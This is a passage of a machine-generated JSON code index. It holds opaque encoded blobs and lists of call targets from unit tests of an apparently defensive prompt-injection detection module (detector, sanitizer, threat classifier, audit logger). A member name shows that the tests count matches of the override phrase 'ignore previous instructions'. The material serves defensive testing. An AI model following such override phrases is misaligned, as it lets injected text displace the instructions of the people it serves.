"v@#B6zxI7+zfoVpx!sHtv@#TfauZ\u0026SA+PSfv{%fXarR^HarR^HBy/YsauZ?\u003enOq{VA+cw4y?$kkA+fAdz/{azx(n0lA=\u003e(lx(v)ge*a5mzxJInwN^box(d*cA=-BxB0\u0026yX3lQDlarR^HaAz4mB.(dxjS[/Sy?tqfy*?yax\u003ez6\u003cAXp\u003crvrlH7w{E:9xMvV)BsqlxCYUwwarR^HarR^HB7Gf1e[5*xwPz(YADLYac#@)uB.(dJaxi2{wNPWOwP?T3e\u003c\u0026Jdr7PCyoEQqQarQ", "ln": 16342, "col": 40, "line": 377 }, { "b": "arR^HarR^Haxi2{wNPWOwP?T3e\u003e[=5nMwFoar\u003e]sB95PP3lQDlarR^HarR^HazbLjazz%jzxJ$dzF9JegBSUNarR^HarR!j3lQDlarR^HaAz4mB.(dxjS[/Sy?tqfy*?yax\u003ez6\u003cAXp\u003crvrlH7w{C!DxMvV)BAn#Qb57}lB-X/R3lQDlarR^HaAIagw?EIkB7Gxlmr9DUy::snB9hqvefE]9A+eW3oL5xUy+wmIm[t6o3jpoVvrlGjraQb)ra{q-vrs\u003eMvrlH7w[+*%rC(@2BZY8MwO#i{zyxTBx([DdB963lwPI@Xvrl0eiTM#LarR\u003cLb2\u0026b{BrBdImO+dpy*?yax\u003ez6?vruj4zxJLfAV/HxB-RXly-)hfBn", "ln": 17547, "col": 16, "line": 404 }, { "b": "arR^HarUYoB9hqvauZ\u0026*wO+%hv@bN{B7]l2wPxzky*?yax\u003ezS$BzbYavrr[w\u003e!ALFN6kOXT(+}8\u003e!rnxG@2$x3lQDlarR^HaAIagw?EIkB7Gxlmr9DUy::snB9hqvefE]9A+eW3oL5xUy+wpOmO+Du3jn12\u0026*2R+M5$0\u003cKM8K!\u0026*2R+M5$0\u003cKM8K!\u0026*2R+M5$0\u003cKM8K!\u0026/%", "ln": 18420, "col": 3, "line": 427 }, { "b": "arR!qwO96bwPI%2B98CpAc2w{zGxJ0wPIu\u0026AaJx$wPq\u003c7zEWm0d05%ow*]+FarR^HarR^HBy/YsauZ?\u003etZd$\u0026tqF0JqE%wYBy/YstZd$\u0026tqf[pzF%MjvqE6dwQ5qv3lQDlarR^HaAz4mB.(dxjS[/Sy?tqvvqY!3x)Kuhe]$Dsx([6nwHIUiCYS", "ln": 19527, "col": 2, "line": 451 }, { "b": "By/IwB7Gf1dlm!UarR^HarR!GwQ5qtjS\u003e}ZwO=g3tZd}RCw?IrwfIv6arR^HarR!EwPJ0gBrAZ?B7Gf1e]$Dsx([6nwPxzAvqY!3x)KtsBy/YsdgdguarR^HarU-p", "ln": 20109, "col": 28, "line": 465 }, { "b": "wPz\u0026uB7Gf1dlm!UarR^HarR!GwQ5qtjS\u003e}ZwO=g3tZd}StZd}TtZd}UCw?IrwfIv6arR^HarR!EwPJ0gBrAZ?B7Gf1e]$Dsx([6nwPxzAvqY!3x)KtsBy/Ysdgdgu", "ln": 20282, "col": 36, "line": 470 }, { "b": "a%Ev3arR^HwmYu}B7GC[A42^sy?taS3lQDlarR^HaAIagw?FgxA9)c\u0026AV^H/By/rdw[=6)e]txmBy/rdc[bGCarR^HarR!FwO+%hy\u0026r%0wPw[RavG^MwO#N2l3lZLBwcQ=xjV9iy\u0026r@[wnc6EB7Gf1e{7@HuU0\u003e\u003edgcz8arR!qwO96bwNPQEz*c7EB7Gf1dlm!UarR^HarR!FwO+%hy\u0026r%0wPxzky\u0026sxac[bGgarR^HwmYu}By/JnuU\u003cT[xjV9\u003cv@=c?By/J2y\u0026r@[w[=6)d05%ow*]+FarR^HarR^HB7Gf1e[5*xwPz((A=\u003e}wz/WKIvrufnwQ4{gBAn\u003cKwO+%hy\u0026r%0wPxztz!AA@vrufidgcz8arR!qwO96bwPI%2y\u0026r@[B7nS@uT^O:x\u003eIriB7Gf1dlm!UarR^HarR!EwPJ0gBrAZ?q!6lNqE%](y\u0026?6jarR^HarQ", "ln": 24941, "col": 42, "line": 576 }, { "b": "wIdFhz6yIrarR^HarR^HarR^Hx(m)jByeY\u0026B7^YXvpA.3gbya93lQDlarR^HarR^HaAI43zEmH1zdN^gvqP%Da#g\u0026cg+yyoeIF[UfFCKwfGH)ws%tH8arR^HarR^Hdgc", "ln": 25430, "col": 41, "line": 593 }, { "b": "b3=-xf!0CLarR^HarR!FwO+%hvrlH3A=:-\u0026BZY8mB97\u0026jB6x\u0026gz//A7uT^?\u0026v@2T^b3=-xfEWtoarR^HwmYu}By/JnuU\u003cT[uVPZ=zEmH0A+eW3d05%ow*]+FarR^HarR^HBzbYavrrRPaxi2{wNPWPvru0)c\u003c?7tarR^HarR^HarUSiBAz8mzEmo\u0026zdL\u003cOx\u003eIs4A+eP%A+fAdz/{bdx(n0lA=\u003e(lx(v)ga$K6zarR^HarR^HarR!pvru6[z/Qa^b64QrwNxp.zFs6j", "ln": 25687, "col": 46, "line": 599 }, { "b": "ay]4}aARgoByeG[z!0M\u0026A::63uT)IXv%8P@BzkVhd05%ow*]+FarR^HarR^Hw]zYjx=}bcaAy[dxjSFGdlm!UarR^HarR^HarR!Fvp\u003c7TA+frmy\u0026*^.ax8=UzC\u003e4!B.(dF3lQDlarR^HarR^HarR^HazC[7B75V(jYDDAwH[%CxMvV)BAoPHt}vanvr=d2wP?T9x([R-q#", "ln": 27404, "col": 4, "line": 642 }, { "b": "B7nS@d05*ewNxE?B9hqvefDcUwPI@qefDcUwPI@qdgcz8arR^HarR!Jx([2hz/xo9d05%ow?E[rxj\u003e^@e]kDsuVoB}xE\u003enIAV#}PvriM6iTM#LarR^HarR^HarUGmzE)(ijS[t?A+eV\u0026y?W=#B0@EA3lQDlarR^HaAIagw?EIkB7Gxlm@\u0026fHBy/Fvy?mGjy?W=#B15T.fEWtKarR^HarR!rzGG]AauZ\u0026ZB8L}Gy\u0026r-)B0$\u003cszE)([fKlamarR^HarR^HB7Gf1e[5*xwPz(YADLYac$NprA^p\u003ekwP?T5ByfcnAaHk0efDcdpeB}\u0026uSfrTpejkCa$i\u003cwarR^HarR!FwO+%hvrlH3A=:(\u003cc)A+EzdN^gvqP%cefFIwBAhTQ3lQDlarR^HaAIagw=", "ln": 29187, "col": 25, "line": 684 }, { "b": "y?kkez/3WE3lQDlarR^HaAIagw?EIkB7Gxlmr9DUy::ahC4CFvaxi2{wNPWOwP?T3e\u003eF/cpBMRTarR^HwmYu}By/JnuVPT[x([6nwNxy%z/6Dnd05%ow*]+FarR^HarR^Hv@bZ+zxI7+B7Gf1e[wK9wO#N2e]$Dsx([6nwNxy%z/6Dnc)z]vf*Y82f(p#wvqWi0CWUDdy?kkez/5:7f*Y7#z6yzoarR^HarR^HB7Gf1e[5*xwPz(/z/!M*c)z]vf*W6nay/k0", "ln": 31624, "col": 57, "line": 740 }, { "b": "wHIRhy?taS3lQDlarR^HaA?gfx\u003ee+qA+eW2z/cWXaAIagw?ER9w[t\u003e3wIedmy?WA*By!/?z/fVdCYUuXb4Lb7viN-Pb6UpOdJ*cll0dF\u003cqCQ1-r9@r/pdFnOas!M?dsASLarR^HarR^HB7Gf1e[5*xwPz(ZvqH0@d0x3nx\u003eeU1arR^HarR^HB7Gf1e[5*xwPz(:zyuYuCW\u003eq@woe(gvr=H6B.@mqwO#d5xD!#IA+eW2z/d0h3lQDlay]4}aARgoByfi1y?WA*By!/?z/fVdCYWqbzFA-)BzkVhuUKy+C42ifwHIRhy?taS3lQDlarR^HaA?gfx\u003ee+qA+eW2z/cWXaAIagw?ER9w[t\u003e3wIedmy?WA*By!/?z/fVdCYUuXb5RsvwG\u003ceTb1VA+z/PzivqG:5Ab]Jkx(wcnazy", "ln": 32597, "col": 45, "line": 763 }, { "b": "ax8@(B.\u003eOhvR3VOq+{duB7GxavqGU7vpB4:3lQDlarR^HazL$ozEmEbAV^H/yiarhe[x9wAc0BrdgdguarR^HarU-py?tqdB8$]kBv*KBzGx]dzEWlayiarhuVQsfefG1QAW.t53l{XMM5$0\u003cKM8K!\u0026*2R+M5$0\u003cKM8K!\u0026*2R+M5$0\u003cKM8K!\u0026*2R+M5$0\u003cKM3", "ln": 34933, "col": 10, "line": 823 }, { "b": "ay]4}aARgoByf3gx\u003e7{=B75%2Bzl5jd05%ow*]+FarR^HarR^HA+frmy\u0026*^.aAqKrv@2B)vqY!3x)Ktsb3YvElr=l2zffulBx\u003c5Blr=cXa$i\u003cwarR^HarR!FwO+%hvrlH3", "ln": 36206, "col": 4, "line": 853 }, { "b": "x(n0lazU\u003ekCwXKzwNPybCw?IrwftP7ygQ)%x(v(iAa9\u003cgwPzWfe^.}darR!axK#l@ayPq4ayO=4BZY8eAb](lAc9jpzFA-)BzkVhaARg8xL}K7B.bRpwn+$2zdNQbwN(]$zxK1iv%8*aBA[ioarR!EwPIA\u003eA:@=9vqYP#lSuI$v@Dj6wPRTdx(v)ge^-ZzarR\u003cLa{[V1arR!qwO96awPQ{\u003ed05%ow*]+FarR^HarR^HB7Gf1e[wK9wO#N2auZ\u0026zA=k/l", "ln": 36942, "col": 24, "line": 864 }, { "b": "zGxwwv@c78wHF#m3lQDlay]4}aARgoByeM!zEmEbD2d50ygg*)vSD3*yBBmny?taS3lQDlarR^Har\u00260Nl{TM\u003cc}4$@l2H%\u0026xLzu%awM\u003c0diJXND2d4mygg*)vSD3*yC3!Pa{]CnarR^HarUSzz/6DnauZ?}3lQDlarR^HarR^Har\u003c%bBS+akwGTxbpaNI@zxIkpaARp9BrC74zxJFdayPekBzbxaxcq8gCp\u003e0Z3lQDlarR^HarR^Har\u003cx\u0026zF%MbayP85aAhvjC4\u003e(qB0bgmB98CBv@#B6zGvAMa{]CnarR^HarR^HarR\u003ehz/)govrMi8vR6a*azbU9wN(]}A=k!qBzbkdBA}?tv{%f@v@Dl%x(mH6aA7\u003cmk$JWM3lQDlarR^HasNTuarR^HarR!EwPJ0gBrAZ?B7Gf1e[wK9wO#N2e]$JhzEm9}Aclm", "ln": 37223, "col": 18, "line": 874 }, { "b": "xj(3{zF9r=vrl0rg:)ARy?taS3lQDlarR^Har\u00260NrbVL-zxK1qB.tu6x(mMaC4\u003ewcvQTs?hz=K/zEWP}x(mMoa%FirarR^HarR^HAb](lAc9i=ar\u003cS#wNPT\u003eaz2C2zV", "ln": 38103, "col": 23, "line": 897 }, { "b": "arR^HwmYu}By/JnuVQHlBy/q@Ab](lAcbC#CYW$mv@#B6zEmN3vpam@y::voy?taS3lQDlarR^Har\u00260Nq*ACawO\u0026MeA=k/lBrCdtBAg/1BzkVhaA?EcaxRuiaAR48azC.dwN/*@z/dfKa%EvparR^HarR!CA=k/lBrAZ?b0mJ1D2[7sz9zixph+t0z/{evB-X:Kz/{7yw{4{aaAI*HBy/qiAb](lAc9jhB0a7NpFJI^3lQDlarR^HaAz4mB.(dxjP", "ln": 38676, "col": 1, "line": 910 }, { "b": "arR^HarR\u003cLb1cc=wN/*8v@C)?az2!ev%8)cz/cXvx\u003c\u0026c6A=k/lBs[:Ya{]CnarR^HarUSzz/6DnauZ?\u003emr\u0026xNB-.gqBzbkdw]zH4z*b]kxcpY5wmW!Ax(d*cA=-BBBZ/rgz!0v1B2$H=BZ/rgz!0v1B1RGQzywZpv{%EbefDq[wPRAnAa9*eCvS7bdiY9warR^HarR!EwPJ0gBrAZ?B7Gf1e[wK9wO#N2e]$JhzEm9}AclmJAb](lAc9JoarR^HarR^HB7Gf1e[5*xwPz(ZvqH0@c#@)uB.(dLx(^T5vp\u003c713jm)#arUiaw/#hbB97=aB.(ely?W^1BZY8[x(mV%v@}", "ln": 39334, "col": 3, "line": 924 }, { "b": "Bz\u0026pgzEEvbDsYcxzxYAgarR^HarR^HarR^JeIeLypdcj2mJ+J9pFBU+eIeLVzxYAgarR^HarR^HarR^JnOq{VA+cwjA+fAdz/{azx(n0lA=\u003e(lx(v)gayPd#aA8yAAclmBD2E?CaAI*HBy/qiv@Dl%x\u003eINevruj4zz0auarR^HarR^HdgdguarR^HarUYoB9hqvauZ\u0026*wO+%hwmYv:zGxwwB7nS@uUKy%B-Y3JA=k/lBsvLtarR^HarR!FwO+%hvrlH3A=:=Vy\u0026:eoA+frm", "ln": 40044, "col": 32, "line": 938 }, { "b": "aARg8xL}K7B.bRDa%FirarR^HarR^HAb](lAc9i=asENtarR^HarR^HarR^Jq*ACawO\u003cEJpJ*q\u0026A+P5}aAH$6wPShIar?dnarR^HarR^HarR^JnOq{VA+cw4y?$kkA+fAdz/{azx(n0lA=\u003e(lx(v)ge*8tBarR^HarR^HarR^Hb3w\u0026bayPq4az#awayPdgB-8khB98Cpv@#o)aveNKar?dnarR^HarR^HarR^JqGV\u003e1Bzbkdw]zH4z*b]kxf4eDCX7wkcUWBpz/P}xz/WoPe*8tBarR^HarR^HarR^Hb1lxVz!9A4D2E?CaAz4mAbPSnwGUY8ayX=2wI#v$ar?dnarR^HarR^HarR^JeIeLypdcj2mJ+J9pFBU+eIeK#3lQDlarR^HasNTuarR^HarR!EwPJ0gBn", "ln": 40875, "col": 67, "line": 958 }, { "b": "CwgPfxDRwnvpJ\u003c\u003ec@?=MfFC*xaA.:pwft#jaz2C2z!9A4vRGZ*A^n^rvrt]+arR^HarR^HwO#0@wmYo]jS\u003e{)e]2rszyuYlBUUT8llWK^w/$OajV%]if^m-Ky\u0026:ega%Fdwz/M$gazCZoa#7=afFLmofFLmofD}}MarR^HarR^HAb](lAc9i=az8/@v{%l$BzbxfaAR4jxjVfCaBvWqv@C)?wpkTearR^HarR^HA+frmy\u0026*^.aAIagw?ER9w[t\u003e3wIe4l", "ln": 41624, "col": 16, "line": 976 }, { "b": "arR^JB7F\u003c4wPR#ofk$uwxFjECfk$@IygQ)%a$K6zarR^HarR!j3lQDlarR^HazbLjaAhvtze:Otx(k5jA=k/lBAoFIarR^HarR^HarR^HCwhejaAIagw?FdEvPl]WBsq9Gz/6Dnj-CBWze:OCiTM#LarR^HarR^HarR^HarUYoB9hqvauZ\u0026*wO+%hwmYv:zGxwwB7nR", "ln": 43328, "col": 10, "line": 1017 }, { "b": "arR!EwPJ0gBrAZ?B7Gf1e[wK9wO#N2e]$JhzEm9}AclmJb6dmmwO2+2xM4#nxMOunB2\u003e%cwQ4T2Abo8rv@DiddgdguarR^HarU-py?tqdB8$]kBx0p6wHIOgB9hqve[]xlB75V(dgcz8arR!qwO96bwPI%2z/xo9uT[1\u003ezddr)uVoB{B7GzvB7Gf1dlm!UarR^HarR^Ja%GX", "ln": 44478, "col": 6, "line": 1043 }, { "b": "xMvV)Bwlg=v}Wm$arR^HarR^HarR^HAa9\u003cgwPzV}zEEx[jTa#VB95PS3lQDlarR^HarR^Hay!\u00264wOk}4C%9u[wPI%2v{%E6ed9HxarR^HarR^HarUJfByO#}wm6B\u0026CYV7)By/H", "ln": 45434, "col": 18, "line": 1060 } ], "depth": 1, "facts": { "imp": [ [ "", "list" ], [ "", "InjectionDetector" ], [ "", "self.assertIsNotNone" ], [ "", "InjectionDetector" ], [ "", "self.assertGreater" ], [ "", "InjectionDetector" ], [ "", "d.list_patterns" ], [ "", "self.assertIsInstance" ], [ "", "self.assertGreater" ], [ "", "len" ], [ "", "self.assertIn" ], [ "", "self.assertIn" ], [ "", "self.assertIn" ], [ "", "self.assertIn" ], [ "", "InjectionDetector" ], [ "", "self.assertEqual" ], [ "", "d.detect" ], [ "", "self.assertEqual" ], [ "", "d.detect" ], [ "", "self.assertEqual" ], [ "", "d.detect" ], [ "", "InjectionDetector" ], [ "", "self.detector.detect" ], [ "", "self.assertIn" ], [ "", "_pattern_names" ], [ "", "self.detector.detect" ], [ "", "self.assertIn" ], [ "", "_pattern_names" ], [ "", "self.detector.detect" ], [ "", "self.assertIn" ], [ "", "_pattern_names" ], [ "", "self.detector.detect" ], [ "", "self.assertIn" ], [ "", "_pattern_names" ], [ "", "self.detector.detect" ], [ "", "self.assertIn" ], [ "", "_pattern_names" ], [ "", "self.detector.detect" ], [ "", "_pattern_names" ], [ "", "self.assertTrue" ], [ "", "any" ], [ "", "self.detector.detect" ], [ "", "self.assertIn" ], [ "", "_pattern_names" ], [ "", "self.detector.detect" ], [ "", "self.assertIn" ], [ "", "_pattern_names" ], [ "", "self.detector.detect" ], [ "", "self.assertIn" ], [ "", "_pattern_names" ], [ "", "self.detector.detect" ], [ "", "self.assertIn" ], [ "", "_pattern_names" ], [ "", "InjectionDetector" ], [ "", "self.detector.detect" ], [ "", "self.assertIn" ], [ "", "_pattern_names" ], [ "", "self.detector.detect" ], [ "", "self.assertIn" ], [ "", "_pattern_names" ], [ "", "self.detector.detect" ], [ "", "self.assertIn" ], [ "", "_pattern_names" ], [ "", "self.detector.detect" ], [ "", "self.assertIn" ], [ "", "_pattern_names" ], [ "", "self.detector.detect" ], [ "", "self.assertIn" ], [ "", "_pattern_names" ], [ "", "InjectionDetector" ], [ "", "self.detector.detect" ], [ "", "self.assertIn" ], [ "", "_pattern_names" ], [ "", "self.detector.detect" ], [ "", "_pattern_names" ], [ "", "self.assertTrue" ], [ "", "self.detector.detect" ], [ "", "self.assertIn" ], [ "", "_pattern_names" ], [ "", "self.detector.detect" ], [ "", "self.assertIn" ], [ "", "_pattern_names" ], [ "", "self.detector.detect" ], [ "", "self.assertIn" ], [ "", "_pattern_names" ], [ "", "self.detector.detect" ], [ "", "self.assertIn" ], [ "", "_pattern_names" ], [ "", "self.detector.detect" ], [ "", "self.assertIn" ], [ "", "_pattern_names" ], [ "", "self.detector.detect" ], [ "", "self.assertIn" ], [ "", "_pattern_names" ], [ "", "self.detector.detect" ], [ "", "self.assertIn" ], [ "", "_pattern_names" ], [ "", "self.detector.detect" ], [ "", "self.assertIn" ], [ "", "_pattern_names" ], [ "", "self.detector.detect" ], [ "", "self.assertIn" ], [ "", "_pattern_names" ], [ "", "InjectionDetector" ], [ "", "self.detector.detect" ], [ "", "self.assertIn" ], [ "", "_pattern_names" ], [ "", "self.detector.detect" ], [ "", "self.assertIn" ], [ "", "_pattern_names" ], [ "", "self.detector.detect" ], [ "", "_pattern_names" ], [ "", "self.assertTrue" ], [ "", "self.detector.detect" ], [ "", "self.assertIn" ], [ "", "_pattern_names" ], [ "", "self.detector.detect" ], [ "", "self.assertIn" ], [ "", "_pattern_names" ], [ "", "self.assertGreater" ], [ "", "len" ], [ "", "self.detector.detect" ], [ "", "self.assertGreater" ], [ "", "len" ], [ "", "InjectionDetector" ], [ "", "_pattern_names" ], [ "", "InjectionDetector" ], [ "", "self.assertTrue" ], [ "", "ThreatClassifier" ], [ "", "self.assertEqual" ], [ "", "self.classifier.classify_threat" ], [ "", "self.assertEqual" ], [ "", "self.classifier.classify_threat" ], [ "", "self.assertEqual" ], [ "", "self.classifier.classify_threat" ], [ "", "self.classifier.classify_threat" ], [ "", "self.assertEqual" ], [ "", "self.classifier.classify_threat" ], [ "", "self.assertEqual" ], [ "", "self.classifier.classify_threat" ], [ "", "self.classifier.classify_threat" ], [ "", "self.classifier.classify_threat" ], [ "", "self.assertEqual" ], [ "", "self.classifier.classify_threat" ], [ "", "self.assertEqual" ], [ "", "self.classifier.classify_threat" ], [ "", "self.assertEqual" ], [ "", "ThreatMatch" ], [ "", "self.classifier.classify" ], [ "", "self.assertEqual" ], [ "", "self.classifier.classify" ], [ "", "self.assertEqual" ], [ "", "ThreatMatch" ], [ "", "range" ], [ "", "self.classifier.classify" ], [ "", "self.assertEqual" ], [ "", "ThreatClassifier" ], [ "", "self.classifier.classify_threat" ], [ "", "self.assertEqual" ], [ "", "self.classifier.classify_threat" ], [ "", "self.assertEqual" ], [ "", "self.classifier.classify_threat" ], [ "", "self.assertEqual" ], [ "", "PromptSanitizer" ], [ "", "self.assertEqual" ], [ "", "self.sanitizer.sanitize" ], [ "", "self.assertEqual" ], [ "", "self.sanitizer.sanitize" ], [ "", "self.assertEqual" ], [ "", "self.sanitizer.sanitize" ], [ "", "self.sanitizer.sanitize" ], [ "", "self.assertNotIn" ], [ "", "self.sanitizer.sanitize" ], [ "", "self.assertNotIn" ], [ "", "self.assertNotIn" ], [ "", "self.assertEqual" ], [ "", "self.sanitizer.sanitize" ], [ "", "self.assertEqual" ], [ "", "self.sanitizer.sanitize" ], [ "", "self.assertEqual" ], [ "", "self.sanitizer.sanitize" ], [ "", "self.sanitizer.sanitize" ], [ "", "self.assertNotIn" ], [ "", "self.sanitizer.sanitize" ], [ "", "self.assertEqual" ], [ "", "result.count" ], [ "", "self.sanitizer.sanitize" ], [ "", "self.assertEqual" ], [ "", "self.sanitizer.sanitize" ], [ "", "self.assertNotIn" ], [ "", "self.assertEqual" ], [ "", "self.sanitizer.sanitize" ], [ "", "self.assertLess" ], [ "", "result.count" ], [ "", "self.sanitizer.sanitize" ], [ "", "self.assertNotIn" ], [ "", "PromptSanitizer" ], [ "", "sanitizer.sanitize" ], [ "", "self.assertLessEqual" ], [ "", "len" ], [ "", "PromptSanitizer" ], [ "", "sanitizer.sanitize" ], [ "", "result.lower" ], [ "", "self.sanitizer.sanitize" ], [ "", "self.assertNotIn" ], [ "", "self.sanitizer.sanitize" ], [ "", "self.assertNotIn" ], [ "", "self.sanitizer.sanitize" ], [ "", "self.assertNotIn" ], [ "", "self.sanitizer.sanitize" ], [ "", "self.assertTrue" ], [ "", "result.startswith" ], [ "", "PromptSanitizer" ], [ "", "sanitizer.sanitize" ], [ "", "PromptSanitizer" ], [ "", "sanitizer.sanitize" ], [ "", "PromptSanitizer" ], [ "", "sanitizer.sanitize" ], [ "", "self.assertLessEqual" ], [ "", "len" ], [ "", "tempfile.mkdtemp" ], [ "", "DefenseAuditLogger" ], [ "", "self.logger.close" ], [ "", "self.assertTrue" ], [ "", "os.path.exists" ], [ "", "ScanResult" ], [ "", "self.logger.log_scan" ], [ "", "self.logger.get_statistics" ], [ "", "self.assertEqual" ], [ "", "self.assertEqual" ], [ "", "ThreatMatch" ], [ "", "ScanResult" ], [ "", "self.logger.log_scan" ], [ "", "self.logger.get_statistics" ], [ "", "self.assertEqual" ], [ "", "self.assertEqual" ], [ "", "self.assertEqual" ], [ "", "self.assertEqual" ], [ "", "self.logger.log_sanitization" ], [ "", "self.logger.get_statistics" ], [ "", "self.logger.log_sanitization" ], [ "", "self.logger.get_statistics" ], [ "", "self.logger.get_statistics" ], [ "", "range" ], [ "", "ScanResult" ], [ "", "self.logger.log_scan" ], [ "", "ScanResult" ], [ "", "ThreatMatch" ], [ "", "self.logger.log_scan" ], [ "", "self.logger.get_statistics" ], [ "", "self.assertAlmostEqual" ], [ "", "self.logger.get_threat_report" ], [ "", "self.assertIsInstance" ], [ "", "ScanResult" ], [ "", "self.logger.log_scan" ], [ "", "self.logger.reset_statistics" ], [ "", "self.logger.get_statistics" ], [ "", "ScanResult" ], [ "", "self.logger.log_scan" ], [ "", "open" ], [ "", "f.readlines" ], [ "", "self.assertGreater" ], [ "", "len" ], [ "", "json.loads" ], [ "", "self.logger.close" ], [ "", "DefenseAuditLogger" ], [ "", "self.assertTrue" ], [ "", "os.path.exists" ], [ "", "logger2.close" ], [ "", "tempfile.mkdtemp" ], [ "", "PromptDefense" ], [ "", "self.defense.close" ], [ "", "self.defense.scan_input" ], [ "", "self.assertTrue" ], [ "", "len" ], [ "", "self.defense.scan_input" ], [ "", "self.assertFalse" ], [ "", "self.defense.scan_input" ], [ "", "self.assertIsInstance" ], [ "", "self.assertIsInstance" ], [ "", "self.assertGreater" ], [ "", "len" ], [ "", "self.defense.scan_input" ], [ "", "self.assertTrue" ], [ "", "self.defense.classify_threat" ], [ "", "self.defense.sanitize_prompt" ], [ "", "self.assertNotIn" ], [ "", "self.defense.validate_context" ], [ "", "self.assertTrue" ], [ "", "self.defense.validate_context" ], [ "", "self.assertFalse" ], [ "", "self.defense.validate_context" ], [ "", "self.assertFalse" ], [ "", "self.defense.validate_context" ], [ "", "self.assertFalse" ], [ "", "self.defense.validate_context" ], [ "", "self.assertFalse" ], [ "", "self.defense.validate_context" ], [ "", "self.assertFalse" ], [ "", "self.assertGreater" ], [ "", "self.defense.list_patterns" ], [ "", "self.assertIsInstance" ], [ "", "self.assertGreater" ], [ "", "len" ], [ "", "self.defense.get_threat_report" ], [ "", "self.assertIsInstance" ], [ "", "self.defense.get_statistics" ], [ "", "self.assertIsInstance" ], [ "", "self.defense.scan_input" ], [ "", "self.defense.get_statistics" ], [ "", "PromptDefense" ], [ "", "defense.scan_input" ], [ "", "self.assertTrue" ], [ "", "defense.get_threat_report" ], [ "", "defense.close" ], [ "", "PromptDefense" ], [ "", "defense.scan_input" ], [ "", "self.assertTrue" ], [ "", "defense.close" ], [ "", "self.defense.scan_input" ], [ "", "result.to_dict" ], [ "", "json.dumps" ], [ "", "self.assertIsInstance" ], [ "", "get_defense" ], [ "", "self.assertIsInstance" ], [ "", "get_defense" ], [ "", "get_defense" ], [ "", "self.assertIs" ], [ "", "quick_scan" ], [ "", "self.assertIsInstance" ], [ "", "self.assertTrue" ], [ "", "quick_classify" ], [ "", "quick_sanitize" ], [ "", "self.assertNotIn" ], [ "", "PromptDefense" ], [ "", "self.defense.close" ], [ "", "self.defense.scan_input" ], [ "", "self.assertFalse" ], [ "", "self.defense.scan_input" ], [ "", "self.assertFalse" ], [ "", "self.defense.scan_input" ], [ "", "self.assertFalse" ], [ "", "self.defense.scan_input" ], [ "", "self.assertFalse" ], [ "", "self.defense.scan_input" ], [ "", "self.assertFalse" ], [ "", "self.defense.scan_input" ], [ "", "self.assertFalse" ], [ "", "self.defense.scan_input" ], [ "", "self.assertFalse" ], [ "", "self.defense.scan_input" ], [ "", "self.assertFalse" ], [ "", "self.defense.scan_input" ], [ "", "self.assertFalse" ], [ "", "self.defense.scan_input" ], [ "", "self.assertFalse" ], [ "", "self.defense.scan_input" ], [ "", "self.assertFalse" ], [ "", "self.assertGreater" ], [ "", "len" ], [ "", "self.defense.scan_input" ], [ "", "self.assertFalse" ], [ "", "self.defense.scan_input" ], [ "", "self.assertFalse" ], [ "", "self.defense.scan_input" ], [ "", "self.assertFalse" ], [ "", "self.subTest" ], [ "", "self.defense.scan_input" ], [ "", "self.assertTrue" ], [ "", "self.subTest" ], [ "", "self.defense.scan_input" ], [ "", "self.assertTrue" ], [ "", "self.defense.scan_input" ], [ "", "self.assertTrue" ], [ "", "self.defense.scan_input" ], [ "", "self.assertTrue" ], [ "", "ThreatMatch" ], [ "", "ThreatMatch" ], [ "", "match.to_dict" ], [ "", "self.assertLessEqual" ], [ "", "len" ], [ "", "ScanResult" ], [ "", "result.to_dict" ], [ "", "unittest.main" ], [ "", "CONTEXT_OVERFLOW_THRESHOLD" ], [ "", "DefenseAuditLogger" ], [ "", "Dict" ], [ "", "InjectionDetector" ], [ "", "List" ], [ "", "MAX_PROMPT_LENGTH" ], [ "", "PromptDefense" ], [ "", "PromptSanitizer" ], [ "", "ScanResult" ], [ "", "ThreatClassifier" ], [ "", "ThreatLevel" ], [ "", "ThreatMatch" ], [ "", "get_defense" ], [ "", "json" ], [ "", "os" ], [ "", "quick_classify" ], [ "", "quick_sanitize" ], [ "", "quick_scan" ], [ "", "reconpro.prompt_defense" ], [ "", "tempfile" ], [ "", "typing" ], [ "", "unittest" ] ], "mbr": [ "ThreatLevel.CRITICAL", "ThreatLevel.CRITICAL.value", "ThreatLevel.HIGH", "ThreatLevel.HIGH.value", "ThreatLevel.INFO", "ThreatLevel.INFO.value", "ThreatLevel.LOW", "ThreatLevel.LOW.value", "ThreatLevel.MEDIUM", "ThreatLevel.MEDIUM.value", "d.detect", "d.is_safe", "d.list_patterns", "d.matched_text", "d.max_severity", "d.pattern_count", "d.sanitized_length", "d.severity", "d.threat_count", "defense.close", "defense.get_threat_report", "defense.scan_input", "entry.event_type", "f.readlines", "json.dumps", "json.loads", "logger2.close", "logger2.log_path", "match.pattern_name", "match.severity", "match.to_dict", "os.path", "os.path.exists", "result.count", "result.input_hash", "result.is_safe", "result.lower", "result.max_severity", "result.sanitized_input", "result.startswith", "result.threats", "result.to_dict", "sanitizer.sanitize", "self.assertAlmostEqual", "self.assertEqual", "self.assertFalse", "self.assertGreater", "self.assertIn", "self.assertIs", "self.assertIsInstance", "self.assertIsNotNone", "self.assertLess", "self.assertLessEqual", "self.assertNotIn", "self.assertTrue", "self.classifier", "self.classifier.classify", "self.classifier.classify_threat", "self.defense", "self.defense.classify_threat", "self.defense.close", "self.defense.get_statistics", "self.defense.get_threat_report", "self.defense.list_patterns", "self.defense.pattern_count", "self.defense.sanitize_prompt", "self.defense.scan_input", "self.defense.validate_context", "self.detector", "self.detector.detect", "self.logger", "self.logger.close", "self.logger.get_statistics", "self.logger.get_threat_report", "self.logger.log_path", "self.logger.log_sanitization", "self.logger.log_scan", "self.logger.reset_statistics", "self.sanitizer", "self.sanitizer.sanitize", "self.subTest", "self.tmp_dir", "stats.block_rate", "stats.threat_pattern_breakdown", "stats.threat_pattern_breakdown.ignore_previous_instructions", "stats.threat_severity_breakdown", "stats.threat_severity_breakdown.critical", "stats.total_blocked", "stats.total_sanitized", "stats.total_scanned", "t.category", "t.pattern_name", "tempfile.mkdtemp", "unittest.TestCase", "unittest.main" ], "tgt": [ "DefenseAuditLogger", "InjectionDetector", "PromptDefense", "PromptSanitizer", "ScanResult", "ThreatClassifier", "ThreatMatch", "_pattern_names", "any", "d.detect", "d.list_patterns", "defense.close", "defense.get_threat_report", "defense.scan_input", "f.readlines", "get_defense", "json.dumps", "json.loads", "len", "list", "logger2.close", "match.to_dict", "open", "os.path.exists", "quick_classify", "quick_sanitize", "quick_scan", "range", "result.count", "result.lower", "result.startswith", "result.to_dict", "sanitizer.sanitize", "self.assertAlmostEqual", "self.assertEqual", "self.assertFalse", "self.assertGreater", "self.assertIn", "self.assertIs", "self.assertIsInstance", "self.assertIsNotNone", "self.assertLess", "self.assertLessEqual", 